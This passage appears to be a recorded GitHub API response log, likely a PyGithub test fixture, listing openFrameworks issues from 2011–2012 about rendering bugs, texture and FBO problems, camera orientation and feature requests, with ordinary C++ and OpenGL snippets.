ofAppGlutWindow::runAppViaInfiniteLoop(this=0xbffff2f8, appPtr=0x85b28d8) (../../../openFrameworks/app/ofAppGlutWindow.cpp:317)\r\n#7 0x80584cc ofRunApp(OFSA=0x85b28d8) (../../../openFrameworks/app/ofAppRunner.cpp:82)\r\n#8 0x8055bfc main() (src/main.cpp:14)\r\n\r\nany idea about what I should try or where the problem could be? has anyone experienced similar problems?\r\n\r\nthanks in advance to all","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/811","comments":1,"milestone":null,"number":811,"html_url":"https://github.com/openframeworks/openFrameworks/issues/811","assignee":null,"title":"ofFBO causes segfault on Linux Ubuntu Lucid with i945 GPU","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-11-13T20:49:26Z","state":"open","user":{"url":"https://api.github.com/users/hvfrancesco","gravatar_id":"e02a8a3953de9d5d9ec1c7aa8d43eca4","login":"hvfrancesco","avatar_url":"https://secure.gravatar.com/avatar/e02a8a3953de9d5d9ec1c7aa8d43eca4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":614123},"id":2223158,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-09T18:51:38Z","body":"Julapy and I were discussing how to do this on the forum http://forum.openframeworks.cc/index.php?topic=7852 and I think adding a flag to allocate for mipmaps to ofTexture and ofFbo would come in handy for some people.\r\n\r\n```c\r\nvoid ofTexture::allocate(int w, int h, int internalGlDataType, bool bUseARBExtention, bool generateMipmaps = false) \r\n{\r\n if( generateMipmaps )\r\n {\r\n glTexParameterf( texData.textureTarget, GL_TEXTURE_MIN_FILTER, GL_LINEAR_MIPMAP_NEAREST );\r\n glTexParameterf( texData.textureTarget, GL_TEXTURE_MAG_FILTER, GL_LINEAR );\r\n glTexParameterf( texData.textureTarget, GL_GENERATE_MIPMAP, GL_TRUE );\r\n }\r\n```\r\n\r\nand in ofFbo\r\n\r\n```c\r\nstruct Settings {\r\n bool generateMipMaps; // or int\r\n}\r\n```\r\n\r\nI'd be happy to do this & submit a pull request too.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/810","comments":2,"milestone":null,"number":810,"html_url":"https://github.com/openframeworks/openFrameworks/issues/810","assignee":null,"title":"Add flag for mipmapping in ofTexture/ofFbo","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-11-11T07:34:53Z","state":"open","user":{"url":"https://api.github.com/users/joshuajnoble","gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","login":"joshuajnoble","avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":237423},"id":2206980,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=7 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4937'), ('content-length', '49276'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"362300e7c4c0fc8f170b2c345084dfad"'), ('date', 'Tue, 29 May 2012 19:27:16 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-12-03T23:58:48Z","body":"right now it's inside ofMath.h","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/800","comments":3,"milestone":null,"number":800,"html_url":"https://github.com/openframeworks/openFrameworks/issues/800","assignee":null,"title":"ofInsidePoly should be a static method of ofPolyline","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-30T04:16:14Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2089523,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-05T21:31:07Z","body":"ofRect very commonly has a little chunk missing from one corner.\r\n\r\nthere is also a discrepancy between the filled and outline rectangles. it's not clear whether the outline rect should be within the bounds of the filled rect, or enclosing the filled rect, and in practice it can be a little of both.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/798","comments":2,"milestone":null,"number":798,"html_url":"https://github.com/openframeworks/openFrameworks/issues/798","assignee":null,"title":"ofRect isn't quite rectangular","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-10-29T06:38:43Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2086039,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-29T02:37:28Z","body":"we're working on some ideas regarding procedural animation and posing:\r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,7714.new.html#new\r\n\r\nwhich should be more powerful than playing back manual animations.\r\n\r\nintegrating it into the core would be ideal, but we're still trying to understand how it works.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/797","comments":0,"milestone":null,"number":797,"html_url":"https://github.com/openframeworks/openFrameworks/issues/797","assignee":null,"title":"procedural posing of bones in ofxAssimpModelLoader","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-29T02:37:28Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2085543,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T03:48:47Z","body":"this fails to display any text:\r\n\r\n\tofBackground(0);\r\n\tofSetColor(255, 254);\r\n\tofDrawBitmapString(\"this text is not displayed\", 10, 20);\r\n\r\nthis is because line 448 of ofBitmapFont.h reads:\r\n\r\n\tglAlphaFunc(GL_EQUAL, 1.0f);\r\n\r\nwhich should be changed to:\r\n\r\n\tglAlphaFunc(GL_GREATER, 0);","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/795","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":795,"html_url":"https://github.com/openframeworks/openFrameworks/issues/795","assignee":null,"title":"ofDrawBitmapString does not work with alpha","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-27T09:50:07Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2066090,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-25T23:39:09Z","body":"\r\nThis should be user adjustable / on / off. it's sort of a drag to be using easy cam and trigger double clicks are you are interacting with a gui, etc.... \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/793","comments":1,"milestone":null,"number":793,"html_url":"https://github.com/openframeworks/openFrameworks/issues/793","assignee":null,"title":"easyCam -- ability to disable doubleClick reset","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-25T23:36:40Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":2051692,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T23:53:12Z","body":"when drawing certain shapes i get crashes, debugger claims a tessellator issue pointing to \r\n\"if (!tessTesselate(cacheTess, polyWindingMode, TESS_POLYGONS, 3, 3, 0)){\" in \"performTessellation\" function in file ofTessellator.cpp ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/789","comments":1,"milestone":null,"number":789,"html_url":"https://github.com/openframeworks/openFrameworks/issues/789","assignee":null,"title":"crashes with tessellator","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-10-21T14:49:12Z","state":"open","user":{"url":"https://api.github.com/users/ruim","gravatar_id":"18875575931764c674b5fc64ae8b7274","login":"ruim","avatar_url":"https://secure.gravatar.com/avatar/18875575931764c674b5fc64ae8b7274?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480525},"id":2016194,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-19T22:39:37Z","body":"would be useful as well. Perhaps an ofxMeshUtils would be in order for upcoming versions...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/787","comments":0,"milestone":null,"number":787,"html_url":"https://github.com/openframeworks/openFrameworks/issues/787","assignee":null,"title":"half edge mesh structure extension of ofMesh","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-19T22:39:37Z","state":"open","user":{"url":"https://api.github.com/users/kpasko","gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","login":"kpasko","avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":167271},"id":1999520,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-11-04T21:59:22Z","body":"would be quite useful","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/786","comments":1,"milestone":null,"number":786,"html_url":"https://github.com/openframeworks/openFrameworks/issues/786","assignee":null,"title":"axis aligned bounding box tree for ofMesh","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-19T22:38:35Z","state":"open","user":{"url":"https://api.github.com/users/kpasko","gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","login":"kpasko","avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":167271},"id":1999513,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-27T17:58:58Z","body":"I am loading in boujou camera data (translation and euler rotation), and I get really fine results when I do: \r\n\r\nglTranslatef(tx,ty,tz);\r\nglRotatef(rx, 1,0,0);\r\nglRotatef(ry, 0,1,0);\r\nglRotatef(rz, 0,0,1);\r\n\r\nbut when I create an ofCamera, and do: \r\n\r\nsetPosition(ofPoint(tx, ty, tz));\r\nsetOrientation(ofPoint(rx, ry, rz));\r\n\r\nI get strange results. I am wondering about ofNodes \"setOrientation\" and if it's really right in that the order is switched:\r\n\r\nsetOrientation(ofQuaternion(eulerAngles.y, ofVec3f(0, 1, 0), eulerAngles.x, ofVec3f(1, 0, 0), eulerAngles.z, ofVec3f(0, 0, 1)));\r\n\r\nalso, maybe I am mis interpreting what \"set orientation\" does. But I can't seem to get similar results with ofCam, even if I do, for example, \r\n\r\ncam.setPosition( tx,ty,tz);\r\ncam.rotate( rx, 1,0,0);\r\ncam.rotate( ry, 0,1,0);\r\ncam.rotate( rz, 0,0,1);\r\n\r\nI still don't get the same results as when I do it via opengl. This seems like a bug maybe with how ofNode handles rotation?\r\n\r\n(note , I am calling resetTranform() on the camera, so it's not an accumulation of rotations.... it's just that I can't seem to find a way to get ofCam to rotate in the same way as opengl commands). \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/785","comments":2,"milestone":null,"number":785,"html_url":"https://github.com/openframeworks/openFrameworks/issues/785","assignee":null,"title":"ofCamera setOrientation gives odd results","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-10-19T11:16:42Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":1992818,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-09T11:46:35Z","body":"It seems to be happening pretty far in, if you put debug statements in touchesMoved in EAGL view, you will see that y is set to the x value of the touch.\r\n\r\nThis does not occur in debug mode, or in the simulator, and it has to be done with xcode4. I am running the newest ios5 beta as well.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/778","comments":2,"milestone":null,"number":778,"html_url":"https://github.com/openframeworks/openFrameworks/issues/778","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"running an iphone retina app in release mode causes touch.x == touch.y","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-10-18T11:26:26Z","state":"open","user":{"url":"https://api.github.com/users/jonbro","gravatar_id":"893ec14dc008e3774afe5841115920d6","login":"jonbro","avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1597},"id":1938472,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-16T18:30:08Z","body":"\r\nat the moment, the ofCamera draw calls ofNode, which does't really give you a clear indication of which way the camera is looking. even that is weird, because a camera looks on -z, and the node draw draws a line on positive z. \r\n\r\nI suggest we add something that draws a bit of a frustum (ie, fov, etc) and gives you a feeling about orientation. \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/774","comments":0,"milestone":null,"number":774,"html_url":"https://github.com/openframeworks/openFrameworks/issues/774","assignee":null,"title":"ofCamera draw() should be more indicative of where the camera is facing. ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-16T18:30:08Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":1922704,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-12T15:09:29Z","body":"Currently we have:\r\n\tvirtual void draw(float x,float y)=0;\r\n\tvirtual void draw(float x,float y,float w, float h)=0;\r\n\r\n\tvirtual float getHeight()=0;\r\n\tvirtual float getWidth()=0;\r\n\r\nSince we're insisting that the user define a getWidth and getHeight, can I ask why we don't set the default of draw(x,y) to be\r\n virtual void draw(float x,float y) {draw(x, y, getWidth(), getHeight()) };\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/772","comments":0,"milestone":null,"number":772,"html_url":"https://github.com/openframeworks/openFrameworks/issues/772","assignee":null,"title":"ofBaseDraws draw(x, y) default","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-10-12T15:08:55Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":1888302,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T15:11:08Z","body":"Greetings,\r\n\r\nI downloaded OF v.007 on my laptop running Vista SP2. I compiled and ran some of the example apps like imageLoader example using VS2010. \r\n\r\nTextures seem to be broken. Images appear as white slabs.\r\n\r\nI tracked it down and found that disabling ArbTex, with ofDisableArbTex(), will get the textures working again. \r\n\r\nUsing ArbTex worked fine in OF v0.62 on the same machine.\r\n\r\nLaptop:\r\nHP Pavilion dv600 Notebook PC\r\nManufacturer: Hewlett-Packard\r\nOperating System: Windows Vista Home Premium, Service Pack 2 (6.0.6002)\r\nPhysical Memory:\t 2037 MB\r\nProcessor: Intel Core2 Duo PU T5250 @ 1.5 GHz, 1.5 GHz\r\n\r\nCompiler:\r\nMicrosoft Visual Studio 2010\r\nInstalled Version: Professional\r\nMicrosoft Visual C++ 2010\r\n\r\nGraphics:\r\nGraphics: Intel Graphics Media Accelerator Driver for Mobile\r\nGraphics: Driver Version: 7.14.10.1244\r\nDirectX Version:\t10.0\r\nOpenGL Version 1.5\r\n\r\nHere's a full report of OpenGL info from GLview:\r\n\r\n\r\nRenderer: Intel 965/963 Graphics Media Accelerator\r\nVendor: Intel\r\nMemory: 448 MB\r\nVersion: 1.5.0 - Build 7.14.10.1244\r\nShading language version: N/A\r\n\r\n\r\nMax texture size: 2048 x 2048\r\nMax texture coordinates: 8\r\nMax vertex texture image units: 0\r\nMax texture image units: 16\r\nMax geometry texture units: 0\r\nMax anisotropic filtering value: 2\r\nMax number of light sources: 16\r\nMax viewport size: 2048 x 2048\r\nMax uniform vertex components: 0\r\nMax uniform fragment components: 0\r\nMax geometry uniform components: 0\r\nMax varying floats: 0\r\nMax samples: 0\r\nMax draw buffers: 0\r\n\r\n\r\nExtensions: 56\r\n\r\nGL_3DFX_texture_compression_FXT1\r\nGL_ARB_depth_texture\r\nGL_ARB_fragment_program\r\nGL_ARB_multitexture\r\nGL_ARB_occlusion_query\r\nGL_ARB_point_parameters\r\nGL_ARB_shadow\r\nGL_ARB_texture_border_clamp\r\nGL_ARB_texture_compression\r\nGL_ARB_texture_cube_map\r\nGL_ARB_texture_env_add\r\nGL_ARB_texture_env_combine\r\nGL_ARB_texture_env_crossbar\r\nGL_ARB_texture_env_dot3\r\nGL_ARB_transpose_matrix\r\nGL_ARB_vertex_buffer_object\r\nGL_ARB_vertex_program\r\nGL_ARB_window_pos\r\nGL_EXT_abgr\r\nGL_EXT_bgra\r\nGL_EXT_blend_color\r\nGL_EXT_blend_func_separate\r\nGL_EXT_blend_minmax\r\nGL_EXT_blend_subtract\r\nGL_EXT_clip_volume_hint\r\nGL_EXT_compiled_vertex_array\r\nGL_EXT_draw_range_elements\r\nGL_EXT_fog_coord\r\nGL_EXT_multi_draw_arrays\r\nGL_EXT_packed_pixels\r\nGL_EXT_rescale_normal\r\nGL_EXT_secondary_color\r\nGL_EXT_separate_specular_color\r\nGL_EXT_shadow_funcs\r\nGL_EXT_stencil_two_side\r\nGL_EXT_stencil_wrap\r\nGL_EXT_texture3D\r\nGL_EXT_texture_compression_s3tc\r\nGL_EXT_texture_env_add\r\nGL_EXT_texture_env_combine\r\nGL_EXT_texture_filter_anisotropic\r\nGL_EXT_texture_lod_bias\r\nGL_IBM_texture_mirrored_repeat\r\nGL_NV_blend_square\r\nGL_NV_texgen_reflection\r\nGL_SGIS_generate_mipmap\r\nGL_SGIS_texture_edge_clamp\r\nGL_SGIS_texture_lod\r\nGL_WIN_swap_hint\r\nWGL_ARB_buffer_region\r\nWGL_ARB_extensions_string\r\nWGL_ARB_make_current_read\r\nWGL_ARB_pbuffer\r\nWGL_ARB_pixel_format\r\nWGL_EXT_extensions_string\r\nWGL_EXT_swap_control\r\n\r\nCore features\r\nv1.1 (100 % - 7/7)\r\nv1.2 (100 % - 8/8)\r\nv1.3 (100 % - 9/9)\r\nv1.4 (100 % - 15/15)\r\nv1.5 (100 % - 3/3)\r\nv2.0 (10 % - 1/10)\r\nv2.1 (0 % - 0/3)\r\nv3.0 (0 % - 0/23)\r\nv3.1 (0 % - 0/8)\r\nv3.2 (0 % - 0/10)\r\nv3.3 (0 % - 0/10)\r\nv4.0 (0 % - 0/14)\r\nv4.1 (0 % - 0/7)\r\nv4.2 (0 % - 0/12)\r\n\r\nOpenGL driver version check (Current: 1.5.0 - Build 7.14.10.1244, Latest known: ):\r\nLatest version of display drivers found\r\nAccording the database, you are running the latest display drivers for your video card.\r\n\r\nNo ICD registry entry\r\nThe current OpenGL driver doesn't expose the SOFTWARE/Microsoft/Windows (NT)/CurrentVersion/OpenGLDrivers registry entry. Unable to detect the driver version, driver revision name and filename.\r\n\r\nCompiled vertex array support\r\nThis feature improves OpenGL performance by using video memory to cache transformed vertices.\r\n\r\nMultitexture support\r\nThis feature accelerates complex rendering such as lightmaps or environment mapping.\r\n\r\nSecondary color support\r\nThis feature provides an alternate method of coloring specular highlights on polygons.\r\n\r\nS3TC compression support\r\nThis feature improves texture mapping performance in some applications by using lossy compression.\r\n\r\nTexture edge clamp support\r\nThis feature improves texturing quality by adding clamping control to edge texel filtering.\r\n\r\nVertex program support\r\nThis feature enables a wide variety of effects via flexible vertex programming (equivalent to DX8 Vertex Shader.)\r\n\r\nFragment program support\r\nThis feature enables a wide variety of effects via per pixel programming (equivalent to DX9 Pixel Shader.)\r\n\r\nTexture anisotropic filtering support\r\nThis feature improves the quality of texture mapping on oblique surfaces.\r\n\r\nOcclusion test support\r\nThis feature provides hardware accelerated culling for objects.\r\n\r\nNo OpenGL Shading Language support\r\nThis may break compatibility for applications using per pixel shading.\r\n\r\nNo Frame buffer object support\r\nThis may break compatibility for applications using render to texture functions.\r\n\r\nDisabling ArbTex will work for me, but I thought others might have the same problem with 007.\r\n\r\n- Rob","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/771","comments":3,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":771,"html_url":"https://github.com/openframeworks/openFrameworks/issues/771","assignee":null,"title":"Textures Didn't Work in 007 on my Laptop, Had to Disable ArbTex","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2011-10-11T13:02:28Z","state":"open","user":{"url":"https://api.github.com/users/robgonsalves","gravatar_id":"7c2e18ac17a0b907dbac36aaa6a9ec0f","login":"robgonsalves","avatar_url":"https://secure.gravatar.com/avatar/7c2e18ac17a0b907dbac36aaa6a9ec0f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1119357},"id":1874373,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-24T15:27:29Z","body":"When integrating openFrameworks into existing build systems, it would make things easier if this common include convention was followed.\r\n\r\ni.e. to include openFrameworks headers in my own build, because all the includes look like:\r\n\r\n#include \"ofMesh.h\"\r\n#include \"ofAppGlutWindow.h\"\r\n#include \"ofSerial.h\"\r\n\r\nI have to add all these paths to my include paths:\r\n\r\n\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/app\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/3d\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/communication\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/gl\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/graphics\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/utils\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/types\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/math\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/events\r\n\r\n\r\n\r\nIt is common to instead structure files like (in the case of openFrameworks):\r\n\r\noF/include/oF\r\noF/include/oF/app\r\noF/include/oF/3d\r\noF/include/oF/communication\r\noF/include/oF/gl\r\noF/include/oF/graphics\r\n...etc...\r\n\r\nand just write:\r\n\r\n#include \r\n#include \r\n\r\netc.\r\n\r\nI'm not sure if there is an argument to leave it like it is because it's easier for oF's demographic? But I would say teaching the some_lib/include/some_lib/ convention would help people use more C++.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/767","comments":2,"milestone":null,"number":767,"html_url":"https://github.com/openframeworks/openFrameworks/issues/767","assignee":null,"title":"#include instead of #include ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-10-09T03:58:30Z","state":"open","user":{"url":"https://api.github.com/users/gimlids","gravatar_id":"cc4cace34c61103f0624002a692820f7","login":"gimlids","avatar_url":"https://secure.gravatar.com/avatar/cc4cace34c61103f0624002a692820f7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":186277},"id":1854874,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-12T13:12:02Z","body":"\r\nat the moment, ofNode has a draw function that has awkwardly hard coded sizes: \r\n\r\nvirtual void customDraw() 